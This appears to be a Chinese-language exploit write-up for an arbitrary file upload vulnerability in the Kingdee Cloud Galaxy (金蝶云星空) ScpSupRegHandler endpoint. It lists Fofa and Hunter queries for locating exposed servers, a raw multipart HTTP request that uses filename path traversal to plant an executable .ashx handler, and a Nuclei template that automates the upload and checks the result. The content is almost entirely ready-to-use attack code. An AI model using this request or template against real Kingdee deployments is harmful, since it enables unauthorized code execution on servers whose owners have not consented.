金蝶云星空ScpSupRegHandler任意文件上传

# Fofa语法app="金蝶云星空-管理中心"title="金蝶云星空 管理中心"
# 鹰图语法app.name="Kingdee 金蝶云星空"web.title=="金蝶云星空 管理中心"

POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1Host:IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061Content-Length: 831
--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="dbId_v"
.--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="FID"
2022--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx."Content-Type: text/plain
<%@ WebHandler Language="C#" Class="TestHandler" %>        using System;        using System.Web;        public class TestHandler : IHttpHandler {            public void            ProcessRequest (HttpContext context) {                context.Response.ContentType= "text/plain";                context.Response.Write("flnb666");            }            public bool IsReusable {                get {return false; }            }        }--2ac719f8e29343df94aa4ab49e456061--

id: Kingdee-k3cloud-ScpSupRegHandler-Upload
info:  name: Kingdee-k3cloud-ScpSupRegHandler-Upload  author: fl  severity: high
http:  - raw:      - |        POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: identity        Content-Length: 826        Accept: */*        Content-Type: multipart/form-data;         boundary=2ac719f8e29343df94aa4ab49e456061
        --2ac719f8e29343df94aa4ab49e456061        Content-Disposition: form-data; name="dbId_v"
        .        --2ac719f8e29343df94aa4ab49e456061        Content-Disposition: form-data; name="FID"
        2022        --2ac719f8e29343df94aa4ab49e456061        Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx."        Content-Type: text/plain
        <%@ WebHandler Language="C#" Class="TestHandler" %>                using System;                using System.Web;                public class TestHandler : IHttpHandler {                    public void                    ProcessRequest (HttpContext context) {                        context.Response.ContentType= "text/plain";                        context.Response.Write("Test");                    }                    public bool IsReusable {                        get {return false; }                    }                }        --2ac719f8e29343df94aa4ab49e456061--
      - |        GET /K3Cloud/uploadfiles/test.ashx HTTP/1.1        Host: {{Hostname}}
    matchers:      - type: dsl        dsl:          - 'status_code_2 == 200'          - 'contains(body_2, "Test")'        condition: and